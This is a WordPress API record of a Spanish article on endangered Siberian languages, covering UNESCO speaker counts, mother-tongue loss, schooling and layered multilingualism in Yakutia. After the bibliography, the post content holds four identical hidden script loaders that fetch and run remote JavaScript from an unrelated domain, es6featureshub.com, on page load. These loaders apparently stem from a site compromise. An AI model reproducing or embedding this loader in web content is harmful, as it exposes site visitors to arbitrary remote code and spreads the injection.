{"id":66637,"date":"2015-09-04T19:59:44","date_gmt":"2015-09-04T17:59:44","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=66637"},"modified":"2025-10-21T22:00:54","modified_gmt":"2025-10-21T20:00:54","slug":"siberia-la-cuestion-de-la-lengua-materna","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2015\/09\/siberia-la-cuestion-de-la-lengua-materna\/","title":{"rendered":"Siberia: la cuesti\u00f3n de la lengua materna"},"content":{"rendered":"<p><span style=\"font-size:12px\">Publicado por Emilie Maj el October 24, 2011<\/span><br \/>\n&nbsp;<br \/>\n<em>Por Emilie Maj, investigadora en el Museo del Quai Branly y asociada en la Universidad de Tallinn.<\/em><br \/>\n<div id=\"attachment_2550\" style=\"width: 510px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" aria-describedby=\"caption-attachment-2550\" class=\"size-full wp-image-2550\" title=\"Petites filles iakoutes\" src=\"\/wp-content\/uploads\/filles-iakoutes.jpg\" alt=\"Petites filles iakoutes\" width=\"500\" height=\"auto\" \/><p id=\"caption-attachment-2550\" class=\"wp-caption-text\">Ni\u00f1as iakoutes durante la fiesta nacional del Yhyakh. Yakutia. \u00a9 Emilie Maj 2011<\/p><\/div><\/p>\n<p>La gran mayor\u00eda de las lenguas siberianas se encuentran en una situaci\u00f3n alarmante, pese a la legislaci\u00f3n rusa aparentemente favorable: oficialmente los derechos iguales son reconocidos en todas las lenguas de los pueblos de la Federaci\u00f3n de Rusia y todas estas lenguas pueden beneficiar del apoyo del Estado.<\/p>\n<p>En realidad, despu\u00e9s de haber sufrido la pol\u00edtica sovi\u00e9tica, actualmente han hecho frente a la uniformizaci\u00f3n realizada en torno al ruso. En causa: el \u00e9xodo rural y las dif\u00edciles recomposiciones sociales en raz\u00f3n de la evoluci\u00f3n de la econom\u00eda hacia una marcha global.<\/p>\n<p><strong>\u00bfC\u00faantas lenguas siberianas hay en Rusia? <\/strong><\/p>\n<p>La filial siberiana de la Academia de las Ciencias de Rusia cuenta con cuarenta y dos lenguas siberianas, reagrupadas en tres grandes familias: las lenguas altaicas, las lenguas uralianas y las lenguas paleoasi\u00e1ticas.<br \/>\nCinco de ellas son lenguas del estado: el alta\u00efen, el komi, el touva, el bouriate y el Iakoute (tambi\u00e9n llamada saja).<br \/>\nTreinta y cuatro lenguas son designadas como las de \u201cpueblos aut\u00f3ctonos poco numerosos\u201d.<br \/>\nEn cuanto a las lenguas restantes, no poseen estatuto particular, pues son consideradas como dialectos derivados de las primeras.<\/p>\n<p><strong>Muchas lenguas en peligro <\/strong><\/p>\n<p>Para cada una de estas lenguas, el n\u00famero de hablantes se extiende de algunas decenas a muchas centenas de millares.<\/p>\n<p>En lo que concierne a los menos expandidos, la UNESCO cuenta como \u201cseriamente en peligro\u201d, entre otras:<\/p>\n<p>&#8211; el n\u00e9nets : aproximadamente 2000 hablantes oficiales<br \/>\n&#8211; el nganasan : aproximadamente 1000,<br \/>\n&#8211; el mansi : aproximadamente 3000,<br \/>\n&#8211; el k\u00e8te : aproximadamente 500,<br \/>\n&#8211; el nana\u00ef : aproximadamente 5800,<br \/>\n&#8211; el nivkhe : aproximadamente 1000 hablantes.<\/p>\n<p>Por otra parte la UNESCO ha anunciado \u00ab en v\u00edas de extinci\u00f3n\u201d \u00bb a tales lenguas:<\/p>\n<p>&#8211; el selkoupe : m\u00e1s de 500 hablantes,<br \/>\n&#8211; el mansi de l\u2019Est : aproximadamente 500,<br \/>\n&#8211; el tofalar : aproximadamente 300,<br \/>\n&#8211; el oultche : aproximadamente 1100,<br \/>\n&#8211; el oud\u00e9gu\u00e9 : aproximadamente 500,<br \/>\n&#8211; el orotchone : aproximadamente 150,<br \/>\n&#8211; el n\u00e9guidal : aproximadamente 150,<br \/>\n&#8211; el ioukaghir : aproximadamente 100,<br \/>\n&#8211; el itelmen : aproximadamente 500,<br \/>\n&#8211; el nivkh : aproximadamente 500.<\/p>\n<p>Es necesario hacer notar que las cifras oficiales no reflejan forzosamente la realidad. Por ejemplo, para el ioukaghir, el n\u00famero real de hablantes se cuenta m\u00e1s bien como los dedos de la mano. En todo, una treintena de lenguas, de hecho, corren peligro de desaparecer en un futuro m\u00e1s o menos pr\u00f3ximo.<\/p>\n<p><strong>\u00bfQu\u00e9 lengua materna? <\/strong><\/p>\n<p>El asunto de la lengua materna constituye un punto sensible: en Siberia, los aut\u00f3ctonos practican a veces el ruso en vez de su lengua materna, aprendida durante la infancia y olvidada en la escuela donde predomina el ruso. En ciertos casos, la aculturaci\u00f3n conduce incluso a un olvido de la lengua aut\u00f3ctona, a pesar de ser su primera lengua.<\/p>\n<p>Finalmente, entre aquellos que la lengua aut\u00f3ctona no les ha sido transmitida y aquellos que han olvidado, los hablantes son cada vez menos numerosos. As\u00ed, de los 22.500 khants, solamente el 67 % consideran el khant como su lengua materna. Y esta cifra desciende hasta el 37 % en los mansi\u2026<\/p>\n<p><strong>Las lenguas siberianas en la escuela<\/strong><\/p>\n<p>Actualmente, casi el  \u00bc de las lenguas de Siberia son ense\u00f1adas en las clases primarias. Pero el n\u00famero de horas es insuficiente y la ense\u00f1anza misma es dispensada en ruso. Adem\u00e1s, aunque el ni\u00f1o estudie la lengua de su pueblo en las clases menores, no es seguro de que pueda continuar haci\u00e9ndolo en la escuela secundaria.<\/p>\n<p>Algunas unidades administrativas, tales como la Rep\u00fablica Saja (Yakutia), tienen abiertas las \u201cescuelas nacionales\u201d, donde las materias son ense\u00f1adas en la lengua saja hasta el examen gubernamental que los alumnos lo pasan a los diecisiete a\u00f1os. Pero estos establecimientos guardan el privilegio de la \u00e9lite: son poco numerosos y los padres se lamentan de no poder inscribir all\u00ed a sus ni\u00f1os, falta de lugar.<\/p>\n<p><strong>Un multiling\u00fcismo en varios pisos<\/strong><\/p>\n<p>Las lenguas m\u00e1s amenazadas son generalmente aquellas de pueblos que viven en las rep\u00fablicas que ellas mismas tienen otra lengua nacional que el ruso. Estas \u201cpeque\u00f1as lenguas\u201d entonces deben hacer frente a dos hegemon\u00edas: la del ruso y la de la segunda lengua local oficial.<\/p>\n<p>Para hacer frente a los vac\u00edos de la legislaci\u00f3n de la Federaci\u00f3n rusa, algunas de estas rep\u00fablicas, como la de Saja (Yakutia) y la de Bourriatie, anuncian una pol\u00edtica de apoyo a estas lenguas minoritarias: les conceden en efecto el estatuto de lengua oficial en las regiones donde los pueblos que las hablan est\u00e1n en fuerte concentraci\u00f3n.<\/p>\n<p>Con todo el observador puede preguntarse si el \u00e9xito de esta rep\u00fablica esta probado. Basta con  volver a la regi\u00f3n eveno-bitanta\u00ef, al norte de la rep\u00fablica Saja, para tener un ejemplo de una situaci\u00f3n t\u00edpica para el pa\u00eds: la regi\u00f3n est\u00e1 calificada de \u201cnacional\u201d porque est\u00e1 constituida de una mayor\u00eda de edenes. Pero en realidad, estos edenes han sido asimilados a los sajas durante el per\u00edodo sovi\u00e9tico y no hablan m\u00e1s que su propia lengua.<\/p>\n<p>Desde entonces se llega a situaciones ubuesques por ejemplo, la peque\u00f1a Natacha, proveniente de una familia mixta evene\/saja, habla saja en la casa como todos los habitantes del pueblo. En la escuela, por supuesto, ella estudia el ruso. Tambi\u00e9n estudia el evene, lengua minoritaria \u00ab oficial \u00bb, pero que no le sirve en la vida diaria porque en la regi\u00f3n nadie m\u00e1s la habla. En cambio, ella no estudia el saja, su lengua materna y la segunda lengua oficial del pa\u00eds, la que le servir\u00e1 m\u00e1s en su vida de adulta.<\/p>\n<p>Este ejemplo concreto muestra que la cuesti\u00f3n de lenguas aut\u00f3ctonas es un punto sensible en la que la soluci\u00f3n se hace caso por caso. Desgraciadamente, el tiempo apremia y no est\u00e1 seguro que las pol\u00edticas encuentren a tiempo soluciones eficaces para administrar esta complejidad.<\/p>\n<p><strong>Algunas fuentes para consultar en lengua francesa.<\/strong><\/p>\n<p>CONSEJO DE EUROPA 2007, Comit\u00e9 Consultivo de la Convenci\u00f3n-Marco por la protecci\u00f3n de las minor\u00edas nacionales. Strasbourg, 2 mai 2007, ACFC\/OP\/II(2006)004, Segunda Opini\u00f3n de la Federaci\u00f3n de Rusia, adoptada el 11 de mayo de 2006. <a href=\"http:\/\/www.coe.int\/t\/dghl\/monitoring\/minorities\/3_FCNMdocs\/PDF_2nd_Com_RussianFederation_fr.pdf\" target=\"_blank\">http:\/\/www.coe.int\/t\/dghl\/monitoring\/minorities\/3_FCNMdocs\/PDF_2nd_Com_RussianFederation_fr.pdf<\/a> (\u00faltima consulta de 19\/09\/2011)<\/p>\n<p>ISOHOOKANA-ASUNMAA Tytti (ponente) 1998, Assembl\u00e9e parlementaire du Conseil de l\u2019Europe, Doc. 8126 du 2 juin 1998, Cultures minoritaires ouraliques en danger, Rapport de la Commission de la culture et de l\u2019\u00e9ducation, <a href=\"http:\/\/assembly.coe.int\/Documents\/WorkingDocs\/doc98\/fdoc8126.htm\" target=\"_blank\">http:\/\/assembly.coe.int\/Documents\/WorkingDocs\/doc98\/fdoc8126.htm<\/a> (derni\u00e8re consultation le 19\/09\/2011)<\/p>\n<p>LAVRILLIER Alexandra (\u00e0 para\u00eetre), Parlons toungouse (pronto en el Harmattan)<\/p>\n<p>MAJ Emilie et LEBERRE-SEMENOV Marine 2010, Parlons sakha. Langue et culture iakoutes. L\u2019Harmattan<\/p>\n<p>Maj Emilie 2009. Interpretar el di\u00e1logo intercultural entre rusos y pueblos aut\u00f3ctonos de la Rep\u00fablica Saja (Yakutia), in K. HADDAD, M. ECKMANN, A. MAN\u00c7O (\u00e9ds), Antagonismos comunitarios y di\u00e1logos intercultureles, Paris, L\u2019Harmattan, coll. \u00ab Competencias interculturales \u00bb, 2009, L\u2019Harmattan, Paris, pp. 63-83<\/p>\n<p>PERROT Jean 2006, Regards sur les langues ouraliennes. Etudes structurales, approches contrastives, regards de linguistes, L\u2019Harmattan (Biblioth\u00e8que finno-ougrienne)<\/p>\n<p>TERSIS Nicole, THERRIEN Mich\u00e8le 2001, Langues eskal\u00e9outes : Sib\u00e9rie, Alaska, Canada, Groenland, CNRS Paris<\/p>\n<p>WEINSTEIN Charles 2010, Parlons tchouktche : une langue de Sib\u00e9rie, L\u2019Harmattan<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Publicado por Emilie Maj el October 24, 2011 &nbsp; Por Emilie Maj, investigadora en el Museo del Quai Branly y asociada en la Universidad de Tallinn. La gran mayor\u00eda de las lenguas siberianas se encuentran en una situaci\u00f3n alarmante, pese a la legislaci\u00f3n rusa aparentemente favorable: oficialmente los derechos iguales son reconocidos en todas las [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-66637","post","type-post","status-publish","format-standard","hentry","category-otro"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Siberia: la cuesti\u00f3n de la lengua materna - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2015\/09\/siberia-la-cuestion-de-la-lengua-materna\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Siberia: la cuesti\u00f3n de la lengua materna - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Publicado por Emilie Maj el October 24, 2011 &nbsp; Por Emilie Maj, investigadora en el Museo del Quai Branly y asociada en la Universidad de Tallinn. La gran mayor\u00eda de las lenguas siberianas se encuentran en una situaci\u00f3n alarmante, pese a la legislaci\u00f3n rusa aparentemente favorable: oficialmente los derechos iguales son reconocidos en todas las [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2015\/09\/siberia-la-cuestion-de-la-lengua-materna\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2015-09-04T17:59:44+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T20:00:54+00:00\" \/>\n<meta name=\"author\" content=\"Sorosoro\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Sorosoro\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/siberia-la-cuestion-de-la-lengua-materna\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/siberia-la-cuestion-de-la-lengua-materna\/\"},\"author\":{\"name\":\"Sorosoro\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\"},\"headline\":\"Siberia: la cuesti\u00f3n de la lengua materna\",\"datePublished\":\"2015-09-04T17:59:44+00:00\",\"dateModified\":\"2025-10-21T20:00:54+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/siberia-la-cuestion-de-la-lengua-materna\/\"},\"wordCount\":1256,\"articleSection\":[\"Otro\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/siberia-la-cuestion-de-la-lengua-materna\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/siberia-la-cuestion-de-la-lengua-materna\/\",\"name\":\"Siberia: la cuesti\u00f3n de la lengua materna - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"datePublished\":\"2015-09-04T17:59:44+00:00\",\"dateModified\":\"2025-10-21T20:00:54+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/siberia-la-cuestion-de-la-lengua-materna\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2015\/09\/siberia-la-cuestion-de-la-lengua-materna\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/siberia-la-cuestion-de-la-lengua-materna\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Siberia: la cuesti\u00f3n de la lengua materna\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\",\"name\":\"Sorosoro\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/admin\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Siberia: la cuesti\u00f3n de la lengua materna - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2015\/09\/siberia-la-cuestion-de-la-lengua-materna\/","og_locale":"es_ES","og_type":"article","og_title":"Siberia: la cuesti\u00f3n de la lengua materna - Sorosoro","og_description":"Publicado por Emilie Maj el October 24, 2011 &nbsp; Por Emilie Maj, investigadora en el Museo del Quai Branly y asociada en la Universidad de Tallinn. La gran mayor\u00eda de las lenguas siberianas se encuentran en una situaci\u00f3n alarmante, pese a la legislaci\u00f3n rusa aparentemente favorable: oficialmente los derechos iguales son reconocidos en todas las [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2015\/09\/siberia-la-cuestion-de-la-lengua-materna\/","og_site_name":"Sorosoro","article_published_time":"2015-09-04T17:59:44+00:00","article_modified_time":"2025-10-21T20:00:54+00:00","author":"Sorosoro","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Sorosoro","Tiempo de lectura":"6 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/siberia-la-cuestion-de-la-lengua-materna\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/siberia-la-cuestion-de-la-lengua-materna\/"},"author":{"name":"Sorosoro","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917"},"headline":"Siberia: la cuesti\u00f3n de la lengua materna","datePublished":"2015-09-04T17:59:44+00:00","dateModified":"2025-10-21T20:00:54+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/siberia-la-cuestion-de-la-lengua-materna\/"},"wordCount":1256,"articleSection":["Otro"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/siberia-la-cuestion-de-la-lengua-materna\/","url":"https:\/\/www.sorosoro.org\/es\/2015\/09\/siberia-la-cuestion-de-la-lengua-materna\/","name":"Siberia: la cuesti\u00f3n de la lengua materna - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"datePublished":"2015-09-04T17:59:44+00:00","dateModified":"2025-10-21T20:00:54+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/siberia-la-cuestion-de-la-lengua-materna\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2015\/09\/siberia-la-cuestion-de-la-lengua-materna\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/siberia-la-cuestion-de-la-lengua-materna\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"Siberia: la cuesti\u00f3n de la lengua materna"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917","name":"Sorosoro","url":"https:\/\/www.sorosoro.org\/es\/author\/admin\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/66637","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=66637"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/66637\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=66637"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=66637"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=66637"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}